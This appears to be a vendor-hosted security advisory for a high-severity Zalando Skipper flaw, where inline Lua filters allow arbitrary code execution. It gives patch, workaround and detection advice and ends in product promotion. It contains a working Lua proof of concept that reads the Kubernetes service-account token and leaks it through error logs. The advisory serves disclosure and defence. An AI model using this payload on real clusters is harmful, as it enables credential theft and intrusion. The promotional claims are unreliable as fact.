GHSA-cc8m-98fm-rc9g
HIGHSkipper is vulnerable to arbitrary code execution through lua filters
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/zalando/skipperReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Arbitrary code execution through lua filters.
The default skipper configuration before v0.23 was -lua-sources=inline,file.
The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.
Kubernetes example (vulnerability is not limited to Kubernetes)
function request(ctx, params)
local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
if file then
local token = file:read('*all')
file:close()
error('[EXFIL] ' .. token) -- Exfiltrate via error logs
end
end
Patches
https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.
Workarounds
You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.
References
https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/zalando/skipper | all versions | 0.23.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zalando/skipper. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/zalando/skipper to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cc8m-98fm-rc9g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cc8m-98fm-rc9g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-cc8m-98fm-rc9g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cc8m-98fm-rc9g in your dependencies?
O3 detects GHSA-cc8m-98fm-rc9g across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.